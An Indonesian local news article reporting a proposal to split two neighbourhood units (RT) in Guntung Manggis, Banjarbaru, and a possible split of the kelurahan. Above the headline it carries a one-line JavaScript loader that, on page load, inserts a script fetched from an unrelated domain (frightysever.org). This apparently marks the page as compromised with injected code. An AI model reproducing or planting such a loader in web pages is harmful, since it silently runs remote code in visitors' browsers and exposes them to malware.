(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Berpenduduk 36 Ribu Jiwa, Kelurahan Guntung Manggis Layak Dimekarkan

KANALKALIMANTAN.COM, BANJARBARU – Warga di Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru, Kalimantan Selatan (Kalsel) mengusulkan pemekaran wilayah Rukun Tetangga (RT).

Usulan pemekaran diajukan oleh dua RT yaitu RT 34 di Jalan Guntung Harapan dan RT 7 di Jalan Abadi III.

Ketua RT 34, Mukhtar mengatakan, dirinya bersama warga telah mengajukan kepada kelurahan untuk pemekaran RT di wilayah mereka.

“Sudah sekitar tiga bulan yang lalu mengajukan ke kelurahan dengan ditandatangani dukungan 300 lebih Kepala Keluarga (KK) untuk pemekaran RT,” ujar Ketua RT 34 RW 05 Kelurahan Guntung Manggis ini kepada Kanalkalimantan.com.

Muhtar menjelaskan, untuk mengajukan pemekaran, Ketua RT dan warga meminta wilayah administratif mereka agar bisa dipecah menjadi dua wilayah.

“Penduduk saya ini kan banyak, kalau mau dimekarkan harus atas dukungan warga agar bisa dipecah,” sebut dia.

Mukhtar menambahkan jika pengajuan usulan disetujui pemerintah, maka pemekaran RT akan dilaksanakan setelah Pilkada 2024.

“Kalau disetujui setelah Pilkada nanti, karena Guntung Manggis ini paling banyak penduduk dan RT-nya. Usulan pemekaran juga diajukan warga di Jalan Abadi III RT 06 kemarin,” ungkapnya.

Lurah Guntung Manggis, Zikru Rakhman. Foto: wanda

Sementara itu, Lurah Guntung Manggis Zikru Rakhman mengakui, kedua RT tersebut memang memiliki penduduk terbanyak di antara 51 RT lain di Kelurahan Guntung Manggis.

Pemekaran RT memang sudah direncanakan jauh hari, sebab menurut Zikru jumlah penduduk di kedua RT tersebut telah melampaui kapasitas maksimal yang dianggap layak untuk suatu wilayah administratif RT.

“Sesuai aturan, apabila melakukan pemekaran, RT induk itu harus minimal ada 100 kepala keluarga. Kalau di RT 34 itu terjadi penggemukan jumlah penduduk, mereka mengajukan permohonan pemekaran sejak tiga tahun lalu, dan sekitar tiga bulan lalu mereka melengkapi persyaratan sesuai Perwali,” ujar Zikru.

Namun, kata Zikru, karena Kota Banjarbaru akan melaksanakan Pilkada pada 27 November 2024 mendatang, maka pemekaran RT tersebut akan dilakukan setelahnya.

“Pemilihan RT dan RW juga akan dilaksanakan serentak tahun 2025 mendatang,” sambung dia.

Lebih lanjut, disebutkannya bahwa di Guntung Manggis, jumlah penduduk berdasarkan data pencatatan sipil terakhir berjumlah 36.637 jiwa. Sebelumnya malah sempat ada perencanaan untuk pemekaran wilayah kelurahan.

Saat ini, kata dia, Bagian Tata Pemerintahan Setda Banjarbaru tengah mendiskusikan rencana itu karena melihat jumlah pertumbuhan penduduk di Guntung Manggis yang terus bertambah.

“Di Guntung Manggis itu sudah 36 ribu jiwa, kemungkinan lebih baik dimekarkan wilayah kelurahannya daripada memecah RT. Akan lebih baik induknya dipecah (Dimekarkan, red) nanti menyesuaikan RT-nya terbagi dengan sendirinya. Namun, itu masih sebatas rencan. Jangka pendeknya kita lakukan pemekaran wilayah RT dulu,” tandas Zikru. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie